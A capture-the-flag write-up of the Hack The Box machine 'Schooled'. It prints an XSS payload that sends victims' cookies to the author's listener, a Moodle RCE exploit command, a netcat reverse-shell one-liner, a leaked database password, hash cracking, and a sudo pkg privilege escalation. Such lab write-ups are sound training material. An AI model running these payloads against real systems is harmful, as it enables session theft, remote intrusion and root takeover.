Schooled

Schooled is a medium machine from Hack The Box.

Enumeration

This machine is running FreeBSD according to Hack the Box. I’ll launch an nmap scan to start enumerating services.

nmap -sC -sV -vv -p- -oA enum/nmap_allports 10.10.10.234

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGY8PnQ2GFk9RrUQ82xGivlyXZ8k99JFZAFlNqJIftRHSGWL3HsfaO08lnGCrqVxj3235k0L74SJAqWfJs1ykTRipcZpsI5QvwYPyqpisMgH/SdCH1wehZpgaXRwdn52ob9+GxZ6qjqIon0cH0XR1hkNIGdbTt4RRMy+IfynzVuomW2mUi0tnnXU69pcyYNMShND4PqxVDKZHwUyeDIiYVBvnL5P9qEh0Q/t0HKWFHQ8otwWEpL3jnn774RFP9ETtZsJ/xosuhty02yIZuP6vqtbWfVqcqM8v1R3jm/xjXfXxiflGO09KO2aePAbEhNEofb7V/f33dRQDv5mr9ceZ1
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHc4TgrG+CyKqaIsk10XmAhUKULXK6Bq3bHHeJiWuBmdGS1k3Fp60OoVFdDKQj9aihkaUmbJ8fkG6dp07bm8IcM=
|   256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPWIP8gV7SGQNoODfYq9qg1k3j6ZZg+1L9zIU9FrHPaf
80/tcp    open  http    syn-ack Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717
| http-methods: 
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx? syn-ack
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000

SSH and HTTP are open, on 22 and 80, and also what could be a MySQL server. I’ll take a look at the webpage first.

While I check out the HTTP side of things, I’ll also start a scan of possible subdirectories with gobuster:

gobuster dir -u 10.10.10.234 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,html -o enum/gobuster_raft_small

Here’s the home page.

Pasted image 20210729105052

Outside of some possible names of teachers we could use to make a list of users, there’s not much exciting here. As I keep poking around, I’ll run another scan for subdomains with wfuzz:

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://schooled.htb' -H "Host: FUZZ.schooled.htb" --hl 461

After a little bit, I get a hit on a valid subdomain, moodle.schooled.htb. I’ll add that to my /etc/hosts file and go digging.

Pasted image 20210729130906


moodle.schooled.htb

Pasted image 20210729130946

Moodle is a learning management system. Basically a course repo. Trying to open the course pages but I think the site wants me to be logged in. So I’ll create an account.

Pasted image 20210729131146

Tried the email domain @schooled.htb but the site wants me to use @student.schooled.htb. I guess I will.

Pasted image 20210729131526

Looks like I’m a student at moodle. What else can I do?

Pasted image 20210729131621

I can enroll in a few different courses. Looking into the Mathematics course, taught by Manuel Phillips, I see an announcement from the teacher.

image

After some research, I learn that a specific field in a user’s account preferences is vulnerable to XSS. That field is the “MoodleNet profile” field. I suppose if Manuel is going to be checking students’ MoodleNet profiles, I could get him to click on a malicious link. I know the site is tracking cookies, so maybe I could steal his cookie to impersonate him.

I set my MoodleNet profile to this payload, and start a webserver (sudo python -m SimpleHTTPServer 8080) to steal the cookie.

<img src=x onerror=this.src='http://10.10.14.22/?c='+document.cookie>

image

Just like that, I start getting hits and cookies.

Pasted image 20210807102834

Pop that cookie into cookie editor in my browser, and I’ve confirmed I can impersonate Manuel.

Pasted image 20210729163153

In my searching for vulnerabilities, I found an exploit for RCE, and all I need is a cookie. The exploit will allow me to elevate my privileges in Moodle from teacher to manager, and then use a malicious plugin to execute arbitrary commands.

Verifying that it works:

python3 moodle.py http://moodle.schooled.htb/moodle --cookie eglbg3rlpopednjfhnndioq5hk

Pasted image 20210729164348

Now that I know I have RCE, it’s time to pop a shell. I’ll start a netcat listener(nc -lvp 4444), and run a bash payload:

python3 moodle.py http://moodle.schooled.htb/moodle --cookie 3ksqqlte3il6f178cibs1tg9gk -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.22 4444 >/tmp/f"

On as www:

Pasted image 20210807102943


Privilege Escalation

Best place to start enumerating the system is going to be Moodle config files.

cat /usr/local/www/apache24/moodle/config.php

<?php  // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);

$CFG->wwwroot   = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot  = '/usr/local/www/apache24/moodledata';
$CFG->admin     = 'admin';

$CFG->directorypermissions = 0777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!

SQL creds! moodle:PlaybookMaster2020

Logging into the mysql service: mysql -u moodle -p PlaybookMaster2020

use moodle;

select * from mdl_user;

Pasted image 20210807111637

Found a hash for user admin. In looking into /etc/passwd I see that jamie is the only user with login enabled.

Pasted image 20210807111906

Just a guess, but I bet this hash is his password. Let’s see if my friend john can crack it:

john jamie.hash --wordlist=/usr/share/wordlists/rockyou.txt

Pasted image 20210807111746

Indeed, he can. Now I can SSH in as jamie: ssh jamie@10.10.10.234`

Pasted image 20210807111952

Now that I have a real user, I can start checking permissions.

Pasted image 20210807112023

It appears that I have a couple pkg commands that I can run as the root user, without a password. Let’s see what GTOFOBins has on pkg.

The first step is creating a bash script to run, then creating a zipped package of that script. Once I get that on the victim machine, I can use pkg install to execute it.

Pasted image 20210807120943

I serve that zip file on a Python webserver, and then use curl http://10.10.14.22/x-1.0.txz -x x-1.0.txz to download it. With that done, I can run the final command.

sudo /usr/sbin/pkg install -y --no-repo-update ./x-1.0.txz

Pasted image 20210807121122

My package set the SUID bit on /bin/bash but, because it’s symlinked to /usr/local/bin/bash, that’s where the SUID ends up. I use that to drop in a root shell and Schooled has been owned.

Written on October 9, 2021